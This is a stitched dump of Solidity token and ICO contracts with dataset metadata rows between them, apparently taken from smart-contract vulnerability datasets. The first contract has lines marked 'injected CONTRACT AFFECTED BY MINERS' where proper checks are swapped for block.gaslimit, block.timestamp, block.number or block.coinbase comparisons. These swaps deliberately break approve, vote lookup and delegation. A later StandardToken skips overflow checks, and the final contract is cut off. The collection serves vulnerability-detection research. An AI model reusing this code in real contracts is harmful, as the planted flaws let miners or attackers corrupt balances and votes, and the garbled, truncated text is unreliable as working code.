/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
function initialize(address account) public initializer {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (block.number == uint(-1)) { //injected CONTRACT AFFECTED BY MINERS
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (block.gaslimit <= blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (block.timestamp > blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (block.number == blockNumber) { //injected CONTRACT AFFECTED BY MINERS
return cp.votes;
} else if (block.gaslimit < blockNumber) { //injected CONTRACT AFFECTED BY MINERS
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
// uint256 chainId;
// assembly { chainId := chainid() }
// return chainId;
return 1; // mainnet id
}
}
| 281,286 | 12,408 |
c7f398129ea53ac735a7b46e814adf5ce3673d0ad1add23a6484b9cf943f6f25
| 12,693 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xd4d2d6f451c602371b08b1527cf08b2cec5de3b2.sol
| 3,203 | 10,866 |
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.17;
contract Token {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
uint256 constant MAX_UINT256 = 2**256 - 1;
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract CharitySpaceToken is StandardToken {
string public name; //fancy name: eg Simon Bucks
uint8 public decimals;
string public symbol; //An identifier: eg SBX
address public owner;
address private icoAddress;
function CharitySpaceToken(address _icoAddress, address _teamAddress, address _advisorsAddress, address _bountyAddress, address _companyAddress) public {
totalSupply = 20000000 * 10**18; // Update total supply 20.000.000 CHT
uint256 publicSaleSupply = 16000000 * 10**18; // Update public sale supply 16.000.000 CHT
uint256 teamSupply = 1500000 * 10**18; // Update charitySPACE team supply 1.500.000 CHT
uint256 advisorsSupply = 700000 * 10**18; // Update projects advisors supply 700.000 CHT
uint256 bountySupply = 800000 * 10**18; // Update projects bounty program supply 800.000 CHT
uint256 companySupply = 1000000 * 10**18; // Update charitySPACE company supply 1.000.000 CHT
name = "charityTOKEN";
decimals = 18;
symbol = "CHT";
balances[_icoAddress] = publicSaleSupply;
Transfer(0, _icoAddress, publicSaleSupply);
balances[_teamAddress] = teamSupply;
Transfer(0, _teamAddress, teamSupply);
balances[_advisorsAddress] = advisorsSupply;
Transfer(0, _advisorsAddress, advisorsSupply);
balances[_bountyAddress] = bountySupply;
Transfer(0, _bountyAddress, bountySupply);
balances[_companyAddress] = companySupply;
Transfer(0, _companyAddress, companySupply);
owner = msg.sender;
icoAddress = _icoAddress;
}
function destroyUnsoldTokens() public {
require(msg.sender == icoAddress || msg.sender == owner);
uint256 value = balances[icoAddress];
totalSupply -= value;
balances[icoAddress] = 0;
}
}
contract CharitySpace {
struct Tier {
uint256 tokens;
uint256 tokensSold;
uint256 price;
}
// Events
event ReceivedETH(address addr, uint value);
event ReceivedBTC(address addr, uint value, string txid);
event ReceivedBCH(address addr, uint value, string txid);
event ReceivedLTC(address addr, uint value, string txid);
// Public variables
CharitySpaceToken public charitySpaceToken;
address public owner;
address public donationsAddress;
uint public startDate;
uint public endDate;
uint public preIcoEndDate;
uint256 public tokensSold = 0;
bool public setuped = false;
bool public started = false;
bool public live = false;
uint public preIcoMaxLasts = 7 days;
// Ico tiers variables
Tier[] public tiers;
// Alt currencies hash
bytes32 private btcHash = keccak256('BTC');
bytes32 private bchHash = keccak256('BCH');
// Interceptors
modifier onlyBy(address a) {
require(msg.sender == a);
_;
}
modifier respectTimeFrame() {
require((now > startDate) && (now < endDate));
_;
}
function CharitySpace(address _donationsAddress) public {
owner = msg.sender;
donationsAddress = _donationsAddress; //address where eth's are holded
}
function setup(address _charitySpaceToken) public onlyBy(owner) {
require(started == false);
require(setuped == false);
charitySpaceToken = CharitySpaceToken(_charitySpaceToken);
Tier memory preico = Tier(2500000 * 10**18, 0, 0.0007 * 10**18);
Tier memory tier1 = Tier(3000000 * 10**18, 0, 0.001 * 10**18);
Tier memory tier2 = Tier(3500000 * 10**18, 0, 0.0015 * 10**18);
Tier memory tier3 = Tier(7000000 * 10**18, 0, 0.002 * 10**18);
tiers.push(preico);
tiers.push(tier1);
tiers.push(tier2);
tiers.push(tier3);
setuped = true;
}
// Start CharitySPACE ico!
function start() public onlyBy(owner) {
require(started == false);
startDate = now;
endDate = now + 30 days + 2 hours; // ico duration + backup time
preIcoEndDate = now + preIcoMaxLasts;
live = true;
started = true;
}
function end() public onlyBy(owner) {
require(started == true);
require(live == true);
require(now > endDate);
charitySpaceToken.destroyUnsoldTokens();
live = false;
started = true;
}
function receiveDonation() public payable respectTimeFrame {
uint256 _value = msg.value;
uint256 _tokensToTransfer = 0;
require(_value > 0);
uint256 _tokens = 0;
if(preIcoEndDate > now) {
_tokens = _value * 10**18 / tiers[0].price;
if((tiers[0].tokens - tiers[0].tokensSold) < _tokens) {
_tokens = (tiers[0].tokens - tiers[0].tokensSold);
_value -= ((_tokens * tiers[0].price) / 10**18);
} else {
_value = 0;
}
tiers[0].tokensSold += _tokens;
_tokensToTransfer += _tokens;
}
if(_value > 0) {
for (uint i = 1; i < tiers.length; ++i) {
if(_value > 0 && (tiers[i].tokens > tiers[i].tokensSold)) {
_tokens = _value * 10**18 / tiers[i].price;
if((tiers[i].tokens - tiers[i].tokensSold) < _tokens) {
_tokens = (tiers[i].tokens - tiers[i].tokensSold);
_value -= ((_tokens * tiers[i].price) / 10**18);
} else {
_value = 0;
}
tiers[i].tokensSold += _tokens;
_tokensToTransfer += _tokens;
}
}
}
assert(_tokensToTransfer > 0);
assert(_value == 0); // Yes, you can't donate 100000 ETH and receive all tokens.
tokensSold += _tokensToTransfer;
assert(charitySpaceToken.transfer(msg.sender, _tokensToTransfer));
assert(donationsAddress.send(msg.value));
ReceivedETH(msg.sender, msg.value);
}
// Confirm donation in BTC, BCH (BCC), LTC, DASH
function manuallyConfirmDonation(address donatorAddress, uint256 tokens, uint256 altValue, string altCurrency, string altTx) public onlyBy(owner) respectTimeFrame {
uint256 _remainingTokens = tokens;
uint256 _tokens = 0;
if(preIcoEndDate > now) {
if((tiers[0].tokens - tiers[0].tokensSold) < _remainingTokens) {
_tokens = (tiers[0].tokens - tiers[0].tokensSold);
} else {
_tokens = _remainingTokens;
}
tiers[0].tokensSold += _tokens;
_remainingTokens -= _tokens;
}
if(_remainingTokens > 0) {
for (uint i = 1; i < tiers.length; ++i) {
if(_remainingTokens > 0 && (tiers[i].tokens > tiers[i].tokensSold)) {
if ((tiers[i].tokens - tiers[i].tokensSold) < _remainingTokens) {
_tokens = (tiers[i].tokens - tiers[i].tokensSold);
} else {
_tokens = _remainingTokens;
}
tiers[i].tokensSold += _tokens;
_remainingTokens -= _tokens;
}
}
}
assert(_remainingTokens == 0); //to no abuse method when no tokens available.
tokensSold += tokens;
assert(charitySpaceToken.transfer(donatorAddress, tokens));
bytes32 altCurrencyHash = keccak256(altCurrency);
if(altCurrencyHash == btcHash) {
ReceivedBTC(donatorAddress, altValue, altTx);
} else if(altCurrencyHash == bchHash) {
ReceivedBCH(donatorAddress, altValue, altTx);
} else {
ReceivedLTC(donatorAddress, altValue, altTx);
}
}
function () public payable respectTimeFrame {
receiveDonation();
}
}
| 219,567 | 12,409 |
4811a9c82f64ed783682f6f92bcca568e90bf42d4f4110bf29df4b3467cc679a
| 13,231 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7f/7fDC85dd3053b4C48dedA7FA280a5eD1a3674369_LodgeERC20Token.sol
| 2,900 | 10,731 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract LodgeERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("LDGE", "LDGE", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 106,122 | 12,410 |
0b9c335790634b1714d96a430f7d09f441c540a483e37baa3cc47bf0b1838123
| 26,566 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUPEizYJ8aP7pc9jQrDF4txqopZQ9EWZCt_Token.sol
| 4,134 | 16,118 |
//SourceUnit: 6.12HBB.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Token is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'MDB';
string private _symbol = 'MDB';
uint8 private _decimals = 18;
uint256 private _totalSupply = 1000000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 5000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private maxSale= 10 * 1**uint256(_decimals);
uint256 private maxBuy= 500000 * 10**uint256(_decimals);
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 0 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
